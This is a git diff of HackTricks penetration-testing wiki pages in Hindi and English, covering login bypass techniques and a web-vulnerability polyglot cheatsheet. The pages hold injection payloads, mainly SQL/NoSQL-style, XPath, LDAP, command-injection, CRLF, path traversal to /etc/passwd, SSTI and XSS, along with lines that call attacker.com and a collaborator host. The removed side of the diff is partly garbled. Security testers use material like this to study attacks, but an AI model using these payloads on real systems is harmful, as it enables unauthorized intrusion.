</details>
{% endhint %}
**[https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
**चेक करें [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}

View file

@ -1,49 +1,52 @@
# लॉगिन बायपास
# Login Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** प्राप्त करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उत्तेजक मिलन स्थल है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
## **नियमित लॉगिन बायपास**
## **नियमित लॉगिन बायपास करें**
यदि आप एक लॉगिन पेज पाते हैं, तो यहाँ आप कुछ तकनीकें पा सकते हैं जिन्हें बायपास करने की कोशिश कर सकते हैं:
यदि आप एक लॉगिन पृष्ठ पाते हैं, तो यहां कुछ तकनीकें हैं जिन्हें आप बायपास करने के लिए आजमा सकते हैं:
* पृष्ठ के अंदर **टिप्पणियाँ** की जाँच करें (नीचे और दाएं ओर स्क्रॉल करें?)
* देखें कि क्या आप **प्रतिबंधित पेजों तक सीधे पहुंच सकते हैं**
* **पैरामीटर्स न भेजें** (कोई भेजें नहीं या केवल 1 भेजें)
* **PHP तुलना त्रुटि जांचें:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
* **कंटेंट प्रकार को json में बदलें** और json मान (bool true समाहित) भेजें
* यदि आपको एक प्रतिक्रिया मिलती है जो कहती है कि POST समर्थित नहीं है, तो आप `Content-Type: application/json` के साथ GET अनुरोध के साथ **शरीर में JSON भेजने की कोशिश कर सकते हैं**
* नोडजेएस की संभावित पार्सिंग त्रुटि की जांच करें (यह पढ़ें [**यह**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
* नोडजेएस उस payload को एक क्वेरी में बदल देगा जो निम्नलिखित के समान होगी: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` जिससे पासवर्ड बिट हमेशा सच हो जाएगा
* यदि आप एक JSON ऑब्जेक्ट भेज सकते हैं तो आप लॉगिन को बायपास करने के लिए `"password":{"password": 1}` भेज सकते हैं।
* ध्यान रखें कि इस लॉगिन को बायपास करने के लिए आपको अब भी **एक मान्य उपयोगकर्ता का पता करना और भेजना आवश्यक है**।
* `mysql.createConnection` को बुलाते समय **"stringifyObjects":true** विकल्प जोड़ना आखिरकार सभी अप्रत्याशित व्यवहारों को ब्लॉक कर देगा जब `Object` पैरामीटर में पास किया जाएगा
* पृष्ठ के अंदर **टिप्पणियों** की जांच करें (नीचे और दाईं ओर स्क्रॉल करें?)
* जांचें कि क्या आप **प्रतिबंधित पृष्ठों** तक **प्रत्यक्ष पहुंच** प्राप्त कर सकते हैं
* **पैरामीटर न भेजें** (कोई भी न भेजें या केवल 1)
* **PHP तुलना त्रुटि की जांच करें:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
* **सामग्री प्रकार को json में बदलें** और json मान भेजें (bool true शामिल)
* यदि आपको एक प्रतिक्रिया मिलती है जो कहती है कि POST समर्थित नहीं है, तो आप **GET अनुरोध के साथ शरीर में JSON भेजने** की कोशिश कर सकते हैं `Content-Type: application/json`
* nodejs संभावित पार्सिंग त्रुटि की जांच करें (पढ़ें [**यह**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
* Nodejs उस पेलोड को निम्नलिखित में से एक समान क्वेरी में बदल देगा: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` जो पासवर्ड बिट को हमेशा सत्य बनाता है
* यदि आप एक JSON ऑब्जेक्ट भेज सकते हैं, तो आप लॉगिन बायपास करने के लिए `"password":{"password": 1}` भेज सकते हैं।
* याद रखें कि इस लॉगिन को बायपास करने के लिए आपको अभी भी **एक मान्य उपयोगकर्ता नाम जानने और भेजने की आवश्यकता है**।
* **`mysql.createConnection`** को कॉल करते समय `"stringifyObjects":true` विकल्प जोड़ने से अंततः **जब `Object` पैरामीटर में पास किया जाता है तो सभी अप्रत्याशित व्यवहारों को रोक देगा**
* क्रेडेंशियल्स की जांच करें:
* उपयोग की गई प्रौद्योगिकी/प्लेटफ़ॉर्म के [**डिफ़ॉल्ट क्रेडेंशियल्स**](../../generic-methodologies-and-resources/brute-force.md#default-credentials)
* **सामान्य कॉम्बिनेशन** (रूट, एडमिन, पासवर्ड, तकनीक का नाम, इनमें से किसी एक के साथ डिफ़ॉल्ट उपयोगकर्ता).
* **Cewl** का उपयोग करके एक शब्दकोश बनाएं, **डिफ़ॉल्ट** उपयोगकर्ता नाम और पासवर्ड जोड़ें (यदि है) और सभी शब्दों का उपयोग करके उन्हें उपयोगकर्ता नाम और पासवर्ड के रूप में ब्रूट-फ़ोर्स करने की कोशिश करें
* **बड़े शब्दकोश का उपयोग करके ब्रूट-फोर्स** करें ([**ब्रूट फोर्स**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
* उपयोग की जाने वाली तकनीक/प्लेटफ़ॉर्म के [**डिफ़ॉल्ट क्रेडेंशियल्स**](../../generic-methodologies-and-resources/brute-force.md#default-credentials)
* **सामान्य संयोजन** (रूट, व्यवस्थापक, पासवर्ड, तकनीक का नाम, इनमें से किसी एक पासवर्ड के साथ डिफ़ॉल्ट उपयोगकर्ता)
* **Cewl** का उपयोग करके एक शब्दकोश बनाएं, **डिफ़ॉल्ट** उपयोगकर्ता नाम और पासवर्ड (यदि कोई हो) जोड़ें और सभी शब्दों को **उपयोगकर्ता नाम और पासवर्ड** के रूप में ब्रूट-फोर्स करने का प्रयास करें
* **बड़े शब्दकोश का उपयोग करके ब्रूट-फोर्स करें** (**[**ब्रूट फोर्स**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)
### SQL Injection प्रमाणीकरण बायपास
[यहाँ आप **SQL इंजेक्शन** के माध्यम से लॉगिन को बायपास करने के कई तरीके पा सकते हैं](../sql-injection/#authentication-bypass)।
[यहां आप **SQL इंजेक्शन** के माध्यम से लॉगिन बायपास करने के लिए कई तरकीबें पा सकते हैं](../sql-injection/#authentication-bypass).
निम्नलिखित पृष्ठ पर आप एक **कस्टम सूची पा सकते हैं जिसे आप लॉगिन को बायपास करने के लिए SQL इंजेक्शन के माध्यम से प्रयास कर सकते हैं**:
अगली पृष्ठ पर आप **SQL इंजेक्शन के माध्यम से लॉगिन बायपास करने के लिए एक कस्टम सूची** पा सकते हैं:
{% content-ref url="sql-login-bypass.md" %}
[sql-login-bypass.md](sql-login-bypass.md)
@ -51,13 +54,13 @@
### No SQL Injection प्रमाणीकरण बायपास
[यहाँ आप **No SQL इंजेक्शन** के माध्यम से लॉगिन को बायपास करने के कई तरीके पा सकते हैं](../nosql-injection.md#basic-authentication-bypass)**।**
[यहां आप **No SQL इंजेक्शन** के माध्यम से लॉगिन बायपास करने के लिए कई तरकीबें पा सकते हैं](../nosql-injection.md#basic-authentication-bypass)**.**
क्योंकि NoSQL इंजेक्शन को पैरामीटर्स मान को बदलने की आवश्यकता होती है, आपको उन्हें मैन्युअल रूप से टेस्ट करने की आवश्यकता होगी।
चूंकि NoSQL इंजेक्शन को पैरामीटर मान को बदलने की आवश्यकता होती है, इसलिए आपको उन्हें मैन्युअल रूप से परीक्षण करने की आवश्यकता होगी।
### XPath Injection प्रमाणीकरण बायपास
[यहा आप **XPath इंजेक्शन** के माध्यम से लॉगिन को बायपास करने के कई तरके पा सकते हैं](../xpath-injection.md#authentication-bypass)
[यहा आप **XPath इंजेक्शन** के माध्यम से लॉगिन बायपास करने के लिए कई तरकीब पा सकते हैं](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -73,9 +76,9 @@
admin' or '
admin' or '1'='2
```
### LDAP Injection प्रमाणीकरण बापास
### LDAP Injection प्रमाणीकरण बापास
[यहाँ आप कई तरह के ट्रिक्स पा सकते हैं जिनका उपयोग करके **LDAP Injection** के माध्यम से लॉगिन को बायपास किया जा सकता है।](../ldap-injection.md#login-bypass)
[यहाँ आप **LDAP Injection** के माध्यम से लॉगिन बाईपास करने के लिए कई तरकीबें पा सकते हैं।](../ldap-injection.md#login-bypass)
```
*
*)(&
@ -89,35 +92,36 @@ admin)(!(&(|
pwd))
admin))(|(|
```
### याद रखें मुझे
### Remember Me
अगर पेज में "**याद रखें मुझे**" कार्यक्षमता है तो जांचें कि यह कैसे लागू किया गया है और क्या आप इसका दुरुपयोग करके **अन्य खातों को अधिकार में ले सकते हैं**
यदि पृष्ठ में "**Remember Me**" कार्यक्षमता है, तो जांचें कि इसे कैसे लागू किया गया है और देखें कि क्या आप इसका दुरुपयोग करके **अन्य खातों पर नियंत्रण** प्राप्त कर सकते हैं
### रीडायरेक्ट
### Redirects
ेज आम तौर पर लॉगिन के बाद उपयोगकर्ताओं को रीडायरेक्ट करते हैं, जांचें कि क्या आप उस रीडायरेक्ट को बदल सकते हैं ताकि आप [**ओपन रीडायरेक्ट**](../open-redirect.md) का कारण बन सके। शायद आप कुछ जानकारी (कोड, कुकीज़...) चुरा सकते हैं अगर आप उपयोगकर्ता को अपनी वेबसाइट पर रीडायरेक्ट करते हैं।
ृष्ठ आमतौर पर लॉगिन के बाद उपयोगकर्ताओं को रीडायरेक्ट करते हैं, जांचें कि क्या आप उस रीडायरेक्ट को बदल सकते हैं ताकि [**Open Redirect**](../open-redirect.md) का कारण बन सके। शायद आप कुछ जानकारी (कोड, कुकीज़...) चुरा सकते हैं यदि आप उपयोगकर्ता को अपने वेब पर रीडायरेक्ट करते हैं।
## अन्य जांच
## Other Checks
* जांचें कि क्या आप लॉगिन कार्यक्षमता का दुरुपयोग करके **उपयोगकर्ता नामों की गणना** कर सकते हैं।
* जांचें कि क्या **ऑटो-पूर्ण** पासवर्ड/**संवेदनशील** जानकारी **फॉर्म** में सक्रिय है **इनपुट:** `<input autocomplete="false"`
* जांचें कि क्या पासवर्ड/**संवेदनशील** जानकारी **फार्मों** में **स्वतः पूर्णता** सक्रिय है **इनपुट:** `<input autocomplete="false"`
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उफान मिलने का स्थान है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहते हैं**? [**सब्सक्रिप्शन प्लान्स जांचें**](https://github.com/sponsors/carlospolop)!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें PRs के माध्यम से [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** को सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,69 @@
# Web Vulns List
## वेब सुरक्षा दोष सूची
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें,** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में सबमिट करके।
</details>
{% endhint %}
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
\`\`\`python \{{7\*7\}}\[7\*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /\*$(sleep 5)\`sleep 5\`\`\*/-sleep(5)-'/\*$(sleep 5)\`sleep 5\` #\*/-sleep(5)||'"||sleep(5)||"/\*\`\*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E\
<details>
<summary>HackTricks का समर्थन करें</summary>
## THIS IS AND INJECTED TITLE
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
/etc/passwd ../../../../../../etc/hosts ..\\..\\..\\..\\..\\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\\..\\..\\..\\..\\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\\w\*)+$ (\[a-zA-Z]+)\*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> \{{7\*7\}}${7\*7}<%= 7\*7 %>$\{{7\*7\}}#{7\*7}$\{{<%\[%'"\}}%\ " onclick=alert() a=" '">![](https://github.com/carlospolop/hacktricks/blob/in/pentesting-web/pocs-and-polygloths-cheatsheet/x) javascript:alert() javascript:"/\*'/\*\`/\*--> -->'"/>
&#x20;">>![](https://github.com/carlospolop/hacktricks/blob/in/pentesting-web/pocs-and-polygloths-cheatsheet/x)" >\<script>prompt(1)\</script>@gmail.com\<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" >\</script>\<script>alert(1)\</script>">\<img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">\<img src="http: //i.imgur.com/P8mL8.jpg">\
" onclick=alert(1)//\<button onclick=alert(1)//> \*/ alert(1)//\
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >\</SCRIPT>">'>\<SCRIPT>alert(String.fromCharCode(88,83,83)) \</SCRIPT>\
\`\`\`\
\<details>**जानें AWS हैकिंग को शून्य से हीरो तक** [**htARTE (HackTricks AWS Red Team Expert)**](https://training.hacktricks.xyz/courses/arte)**!**
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
